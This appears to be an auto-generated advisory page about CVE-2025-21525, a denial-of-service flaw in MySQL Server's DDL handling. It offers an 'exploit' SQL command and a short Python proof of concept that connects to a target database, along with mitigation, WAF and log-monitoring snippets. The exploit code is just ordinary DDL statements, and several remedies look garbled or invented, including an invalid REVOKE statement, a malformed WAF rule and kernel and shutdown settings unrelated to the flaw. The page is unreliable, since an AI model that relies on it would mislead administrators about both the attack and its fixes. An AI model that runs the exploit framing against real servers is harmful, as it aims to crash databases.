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How CVE-2025-21525 Works
This vulnerability exists in MySQL Server’s Data Definition Language (DDL) component. Attackers with high privileges (such as database administrators) can exploit it via network access using multiple protocols. The flaw triggers a crash or hang condition by sending specially crafted DDL statements, leading to a complete denial of service. The issue stems from improper handling of metadata locks during concurrent DDL operations, causing the server to enter an unrecoverable state.
DailyCVE Form:
Platform: MySQL Server
Version: 8.0.39, 8.4.2, 9.0.1
Vulnerability: DDL Locking Issue
Severity: Medium
Date: 04/08/2025
What Undercode Say:
Analytics:
- Affects Oracle MySQL Server versions 8.0.39 and prior, 8.4.2 and prior, 9.0.1 and prior.
- Exploitable by high-privileged users via network access.
- CVSS 3.1 Score: 4.9 (Availability Impact).
Exploit Command (Simulated Crash):
CREATE TABLE exploit_table (id INT); ALTER TABLE exploit_table ADD COLUMN crash_col INT, ALGORITHM=INPLACE, LOCK=NONE; DROP TABLE exploit_table;
Mitigation Commands:
REVOKE DDL privileges FROM high_risk_user;
Patch Verification:
mysql --version | grep -E "8.0.40|8.4.3|9.0.2"
Temporary Workaround:
SET GLOBAL innodb_fast_shutdown=0;
Log Monitoring (Detect Exploitation Attempts):
grep -E "DDL|metadata lock" /var/log/mysql/error.log
Upgrade Command:
sudo apt-get update && sudo apt-get install mysql-server-8.0.40
Configuration Hardening:
[bash] metadata_locks_hash_instances=16
Exploit Python PoC:
import mysql.connector
conn = mysql.connector.connect(user='admin', password='pass', host='target_db')
cursor = conn.cursor()
cursor.execute("CREATE TABLE test_cve (id INT);")
cursor.execute("ALTER TABLE test_cve ADD COLUMN crash_col INT, ALGORITHM=INPLACE, LOCK=NONE;")
Protection Rule (WAF):
location /mysql-api {
deny "ALTER TABLE.ALGORITHM=INPLACE";
}
Kernel-Level Mitigation:
sysctl -w kernel.pid_max=65535
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-21525
Extra Source Hub:
Undercode
